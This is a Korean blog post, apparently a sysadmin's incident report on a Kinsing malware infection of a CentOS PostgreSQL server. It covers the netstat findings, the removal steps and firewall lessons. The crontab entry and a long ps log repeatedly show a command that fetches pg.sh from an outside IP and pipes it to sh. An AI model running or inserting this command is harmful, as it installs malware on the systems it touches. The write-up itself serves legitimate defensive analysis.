문제점 및 증상
서비스에서 운영중에 PostgreSQL을 사용하던 CentOS 서버의 DB가 홀라당 모두 날라가고 초기화되는 사건이 발생하였습니다. 불행하게도 DB 백업을 자주 받지 놓지 않아서 몇 개월전 데이터로 복구는 하였으나, 그 동안에 수집된 데이터가 모두 사라지는 불행한 문제였습니다.
원인 분석
문제는 이러한 문제가 처음이 아니라, 과거에도 몇 번 있었다고 전임자에게 이야기를 듣게 되어, 서버에 백도어나 malware가 설치되어 있어서 동일한 문제가 계속 발생하는 것으로 의심되었습니다.
활성화된 네트워크 포트를 확인해 보니, 다음과 같은 알 수 없는 2개의 프로세스(kdevtmpfsi, kinsing)가 활성화 되어 있었습니다.
# netstat -nltpa
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5355 0.0.0.0:* LISTEN 913/systemd-resolve
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 106110/sshd
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 106897/postgres
tcp 0 0 10.5.0.7:36562 193.164.150.99:80 ESTABLISHED 1966793/kdevtmpfsi
tcp 0 0 10.5.0.7:5432 **.***.***.**:47850 ESTABLISHED 109036/postgres: dt
tcp6 0 0 :::5355 :::* LISTEN 913/systemd-resolve
tcp6 0 0 :::22 :::* LISTEN 106110/sshd
tcp6 0 0 :::5432 :::* LISTEN 106897/postgres
tcp6 0 0 :::31458 :::* LISTEN 1966546/kinsing
"kinsing" 프로세스를 검색하여 보니, malware 였습니다. ㅠ.ㅠ
해당 프로세스를 찾아서 삭제하여도, 몇 분뒤에는 다시 동작하였습니다.
"kinsing" malware 관련 자료를 찾아보니, crontab 등에서 관련 malware를 다운로드 받아서 구동하는 스크립트가 어딘가 숨어 있을 것이라 확신하고 찾다 보니, "kinsing" 프로세스를 실행하고 있는 계정에 다음과 같이 지정되어 있었습니다.
# crontab -u user -e
* * * * * wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
처리 내용
좀 더 근본적으로 해당 계정의 "crontab"에 어떻게 "kinsing" malware를 다운로드하고 구동하는 스크립트를 넣었을까? 이 부분에 좀 더 고민을 해보니, pg.sh 라는 malware 스크립트 다운로드 파일의 이름으로 유추해보면 함께 운영중이던 PostgreSQL의 보안 문제로 발생한 것으로 생각되어, PostgreSQL 운영 포트 (5432)를 운영에 반드시 필요한 특정 IP 및 대역에서만 접근할 수 있도록 방화벽의 inbound 설정을 변경하였습니다.
방화벽 정책을 변경한지 일주일 정도밖에 흐르지 않아 다른 원인이 있는지 아직 명확하진 않지만, 방화벽 정책 설정은 아주 주의 깊게해야한다는 점을 다시 한번 깨닫게 되었습니다.
"outbound" 방화벽 정책에서 http, https(80, 443) 포트를 막았습니다.
이후 다음과 같이 malware 스크립트를 다운로드 받기 위한 프로세스가 계속 생성되었습니다.
# ps -ef | grep wget | grep -v grep
user 3084391 3084389 0 17:10 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084392 3084391 0 17:10 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084563 3084561 0 17:12 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084564 3084563 0 17:12 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084624 3084622 0 17:13 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084625 3084624 0 17:13 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084692 3084690 0 17:14 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084693 3084692 0 17:14 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084746 3084744 0 17:15 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084747 3084746 0 17:15 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084800 3084798 0 17:16 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084801 3084800 0 17:16 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084840 3084838 0 17:17 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084841 3084840 0 17:17 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084893 3084891 0 17:18 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084894 3084893 0 17:18 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084903 3084901 0 17:19 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084904 3084903 0 17:19 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084927 3084925 0 17:20 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084928 3084927 0 17:20 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3084946 3084944 0 17:21 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3084947 3084946 0 17:21 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085417 3085415 0 17:22 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085418 3085417 0 17:22 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085475 3085473 0 17:23 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085476 3085475 0 17:23 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085509 3085507 0 17:24 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085510 3085509 0 17:24 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085582 3085580 0 17:25 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085583 3085582 0 17:25 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085617 3085615 0 17:26 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085618 3085617 0 17:26 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085676 3085674 0 17:27 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085677 3085676 0 17:27 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085738 3085736 0 17:28 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085739 3085738 0 17:28 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085793 3085791 0 17:30 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085794 3085793 0 17:30 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085804 3085802 0 17:31 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085805 3085804 0 17:31 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085885 3085883 0 17:32 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085886 3085885 0 17:32 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085901 3085899 0 17:33 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085902 3085901 0 17:33 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085943 3085941 0 17:34 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085944 3085943 0 17:34 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085961 3085959 0 17:35 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085962 3085961 0 17:35 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3085977 3085975 0 17:36 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3085978 3085977 0 17:36 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086023 3086021 0 17:37 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086024 3086023 0 17:37 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086092 3086090 0 17:38 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086093 3086092 0 17:38 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086111 3086109 0 17:39 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086112 3086111 0 17:39 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086125 3086123 0 17:40 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086126 3086125 0 17:40 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086137 3086135 0 17:41 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086138 3086137 0 17:41 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086156 3086154 0 17:42 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086157 3086156 0 17:42 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086170 3086168 0 17:43 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086171 3086170 0 17:43 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086185 3086183 0 17:44 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086186 3086185 0 17:44 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user 3086202 3086200 0 17:45 ? 00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user 3086203 3086202 0 17:45 ? 00:00:00 wget -q -O - http://195.3.146.118/pg.sh
crond 서비스를 중지하고, 다음과 같이 malware 스크립트를 다운로드 받기 위한 프로세스들을 모두 강제 종료시킵니다.
# ps -ef | grep wget | grep -v grep | awk '{print $2}' | xargs kill -9
매분 malware 스크립트를 다운로드 받도록 설정된 계정의 crontab을 모두 삭제하였습니다.
결론
"inbound"/"outbound" 방화벽 정책을 좀 더 철저하게 설정해 놓으면, 위와 같은 문제들을 미연에 방지할 수 있습니다. 개발 및 운영에 불편할 수 있겠지만, 그만큼 공격자들의 난이도가 높아지고 네트워크 보안성이 높아집니다.
특히, outbound http, https(80, 443) 서비스의 경우, 서버의 패키지 업그레이드 등으로 무한정 열어 놓는 경우가 많은데, 조금은 불편하더라도 모두 막아 둔 상태에서 서버의 업그레이드를 수동으로 수행하는 때만 임시로 열어서 진행해야만 합니다.
그 밖에 서버의 유지보수 등을 위하여 20, 21, 22, 3389번 포트들을 제한없이 열어 두는 경우도 많은데, 특정 IP에서만 접근할 수 있도록 제한을 하여야 합니다.
참고자료
- "Zoom into Kinsing":https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/
'Linux,Unix,BSD' 카테고리의 다른 글
[RaspberryPi] command line에서 gpio 다루기 (0) | 2021.02.23 |
---|---|
쉘 명령으로 시스템 로그 남기기 (0) | 2021.01.21 |
[docker] 업데이트 이후, "OCI runtime create failed" 오류 발생 (0) | 2020.11.11 |
[docker] fetch fail when docker container build (0) | 2020.11.10 |
docker root 폴더 변경하기 (0) | 2020.09.23 |